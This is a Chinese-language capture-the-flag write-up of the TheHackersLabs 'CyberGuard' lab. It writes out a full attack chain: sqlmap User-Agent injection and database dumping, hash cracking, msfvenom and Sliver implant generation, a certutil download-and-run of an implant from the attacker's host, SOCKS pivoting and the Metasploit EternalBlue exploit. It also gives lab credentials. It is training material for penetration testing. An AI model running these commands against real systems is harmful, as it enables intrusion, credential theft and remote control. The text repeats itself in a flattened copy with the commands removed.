TheHackerslabs - CyberGuard Writeup
字数 1970 2025-09-01 11:26:02

CyberGuard 靶机渗透测试教学文档

1. 靶机概述

  • 难度等级: 专业级 (experto)
  • 靶机链接: https://labs.thehackerslabs.com/machine/25
  • 网络拓扑:
    • 1台路由器/防火墙
    • 3台内网主机
  • 主要技术点: SQL注入、Sliver C2框架、代理搭建、MSF (Metasploit)、MS17_010 (永恒之蓝)

2. 信息收集阶段

2.1 端口扫描

使用nmap进行初始扫描:

nmap -T4 -p- -A <target_ip>

发现:

  • 80端口运行Nginx
  • 操作系统: FreeBSD 11.2

2.2 目录爆破

使用gobuster进行目录枚举:

gobuster dir -u http://<target_ip> -w /path/to/wordlist.txt

注意: 长时间扫描会被ban

3. SQL注入利用

3.1 发现注入点

  • URL结构: xxxx/search?query=
  • 注入点不在GET参数中,而是在User-Agent头中
  • 使用sqlmap进行自动化测试:
sqlmap -u "http://<target_ip>/search?query=test" --level=3 --risk=3

--level参数确保测试User-Agent、Cookie和Referer等HTTP头

3.2 数据提取

dump所有数据库数据:

sqlmap -u "http://<target_ip>/search?query=test" --level=3 --risk=3 --dump-all

获取到bcrypt算法加密的密码hash: $2y$...

3.3 密码破解

使用John the Ripper:

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

或使用hashcat:

hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt

破解得到明文密码: killer

4. 后台利用

4.1 登录后台

使用凭证killer成功登录后台

4.2 发现命令执行功能

后台存在命令执行功能点,测试命令执行:

whoami
cat /etc/passwd

确认存在用户ian

4.3 反弹Shell尝试

尝试1: 传统方法

  • 使用nc和/bin/bash反弹失败
  • 尝试上传webshell但无法反弹

尝试2: Metasploit

  1. 生成elf格式payload:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<your_ip> LPORT=4444 -f elf -o sunset
  1. 上传并执行:
chmod +x sunset
./sunset
  1. MSF监听失败,可能被防火墙阻止

5. 使用Sliver C2框架

5.1 Sliver简介

Sliver是一个开源的跨平台红队框架,支持:

  • mTLS
  • WireGuard
  • HTTP(S)
  • DNS C2通信

官网: https://github.com/BishopFox/sliver

5.2 生成并执行植入物

  1. 启动Sliver服务器
  2. 生成Linux x64植入物:
generate --mtls <your_ip> --os linux --arch amd64 --format elf
  1. 上传并执行生成的二进制文件

5.3 建立Shell会话

  • 使用shell命令进入交互式shell
  • 使用info查看连接信息(通常走53/DNS端口)

6. 内网渗透

6.1 信息收集

  1. 查找数据库配置文件databases.php
  2. 发现数据库凭证存储在环境变量中
  3. 获取密码: ZqBHR4MZ<f*+bv(J
  4. 确认密码属于用户ian
  5. 发现内网网段: 10.20.30.0/24

6.2 代理搭建

使用Sliver的WireGuard SOCKS5代理功能:

  1. 生成WireGuard配置:
wg-config
  1. 保存配置到/etc/wireguard/wgsocks.conf
  2. 启动WireGuard连接:
wg-quick up wgsocks
  1. 在Sliver中启动SOCKS服务:
wg-socks
  1. 配置proxychains:
vim /etc/proxychains4.conf

添加:

socks5 127.0.0.1 1080

6.3 内网扫描

使用fscan扫描内网:

./fscan -h 10.20.30.1-255

发现10.20.30.3存在MS17-010漏洞

7. 永恒之蓝(MS17-010)利用

7.1 通过代理使用MSF

  1. 启动msfconsole通过代理:
proxychains msfconsole
  1. 搜索MS17-010模块:
search ms17_010
  1. 使用检测模块确认漏洞:
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 10.20.30.3
run
  1. 使用攻击模块:
use exploit/windows/smb/ms17_010_eternalblue
set RHOST 10.20.30.3
run
  1. 获取system权限

7.2 获取flag

直接读取root.txt

8. 其他主机渗透

8.1 Windows主机(10.20.30.11)

  1. 生成Windows植入物:
generate --mtls <your_ip> --os windows --arch amd64 --format exe -o LONG_PRIVATE.exe
  1. 在攻击机启动HTTP服务:
python3 -m http.server 80
  1. 在目标机下载并执行:
certutil.exe -urlcache -f http://<your_ip>/LONG_PRIVATE.exe c:\LONG_PRIVATE.exe
c:\LONG_PRIVATE.exe
  1. 获取shell

8.2 预期解(官方WP)

  1. 在Linux主机监听数据包获取Victor用户的Net-NTLM-hash
  2. 使用certipy攻击ADCS (Active Directory Certificate Services)

9. 总结

关键学习点

  1. SQL注入检测:

    • 不局限于GET/POST参数,注意HTTP头注入
    • sqlmap的level参数对结果影响重大
  2. 绕过防火墙限制:

    • 传统反弹shell方法可能被阻止
    • 使用Sliver等高级C2框架的替代协议(DNS/WireGuard)
  3. 内网渗透技术:

    • 代理搭建是内网渗透的关键
    • 使用fscan等工具快速识别内网漏洞
  4. 漏洞利用:

    • MS17-010在内网中仍然常见
    • 通过代理使用Metasploit等工具
  5. 横向移动:

    • 密码重用是常见问题
    • 注意收集所有可能的凭证

改进建议

  1. 尝试官方预期解(ADCS攻击)
  2. 探索内网中未攻破的主机
  3. 尝试其他横向移动方法(如Pass the Hash)

通过本靶机,可以全面练习从外网渗透到内网横向移动的完整攻击链,特别适合提升专业级渗透测试技能。

CyberGuard 靶机渗透测试教学文档 1. 靶机概述 难度等级 : 专业级 (experto) 靶机链接 : https://labs.thehackerslabs.com/machine/25 网络拓扑 : 1台路由器/防火墙 3台内网主机 主要技术点 : SQL注入、Sliver C2框架、代理搭建、MSF (Metasploit)、MS17_ 010 (永恒之蓝) 2. 信息收集阶段 2.1 端口扫描 使用nmap进行初始扫描: 发现: 80端口运行Nginx 操作系统: FreeBSD 11.2 2.2 目录爆破 使用gobuster进行目录枚举: 注意: 长时间扫描会被ban 3. SQL注入利用 3.1 发现注入点 URL结构: xxxx/search?query= 注入点不在GET参数中,而是在User-Agent头中 使用sqlmap进行自动化测试: --level 参数确保测试User-Agent、Cookie和Referer等HTTP头 3.2 数据提取 dump所有数据库数据: 获取到bcrypt算法加密的密码hash: $2y$... 3.3 密码破解 使用John the Ripper: 或使用hashcat: 破解得到明文密码: killer 4. 后台利用 4.1 登录后台 使用凭证 killer 成功登录后台 4.2 发现命令执行功能 后台存在命令执行功能点,测试命令执行: 确认存在用户 ian 4.3 反弹Shell尝试 尝试1: 传统方法 使用nc和/bin/bash反弹失败 尝试上传webshell但无法反弹 尝试2: Metasploit 生成elf格式payload: 上传并执行: MSF监听失败,可能被防火墙阻止 5. 使用Sliver C2框架 5.1 Sliver简介 Sliver是一个开源的跨平台红队框架,支持: mTLS WireGuard HTTP(S) DNS C2通信 官网: https://github.com/BishopFox/sliver 5.2 生成并执行植入物 启动Sliver服务器 生成Linux x64植入物: 上传并执行生成的二进制文件 5.3 建立Shell会话 使用 shell 命令进入交互式shell 使用 info 查看连接信息(通常走53/DNS端口) 6. 内网渗透 6.1 信息收集 查找数据库配置文件 databases.php 发现数据库凭证存储在环境变量中 获取密码: ZqBHR4MZ<f*+bv(J 确认密码属于用户 ian 发现内网网段: 10.20.30.0/24 6.2 代理搭建 使用Sliver的WireGuard SOCKS5代理功能: 生成WireGuard配置: 保存配置到 /etc/wireguard/wgsocks.conf 启动WireGuard连接: 在Sliver中启动SOCKS服务: 配置proxychains: 添加: 6.3 内网扫描 使用fscan扫描内网: 发现 10.20.30.3 存在MS17-010漏洞 7. 永恒之蓝(MS17-010)利用 7.1 通过代理使用MSF 启动msfconsole通过代理: 搜索MS17-010模块: 使用检测模块确认漏洞: 使用攻击模块: 获取system权限 7.2 获取flag 直接读取 root.txt 8. 其他主机渗透 8.1 Windows主机(10.20.30.11) 生成Windows植入物: 在攻击机启动HTTP服务: 在目标机下载并执行: 获取shell 8.2 预期解(官方WP) 在Linux主机监听数据包获取Victor用户的Net-NTLM-hash 使用certipy攻击ADCS (Active Directory Certificate Services) 9. 总结 关键学习点 SQL注入检测 : 不局限于GET/POST参数,注意HTTP头注入 sqlmap的level参数对结果影响重大 绕过防火墙限制 : 传统反弹shell方法可能被阻止 使用Sliver等高级C2框架的替代协议(DNS/WireGuard) 内网渗透技术 : 代理搭建是内网渗透的关键 使用fscan等工具快速识别内网漏洞 漏洞利用 : MS17-010在内网中仍然常见 通过代理使用Metasploit等工具 横向移动 : 密码重用是常见问题 注意收集所有可能的凭证 改进建议 尝试官方预期解(ADCS攻击) 探索内网中未攻破的主机 尝试其他横向移动方法(如Pass the Hash) 通过本靶机,可以全面练习从外网渗透到内网横向移动的完整攻击链,特别适合提升专业级渗透测试技能。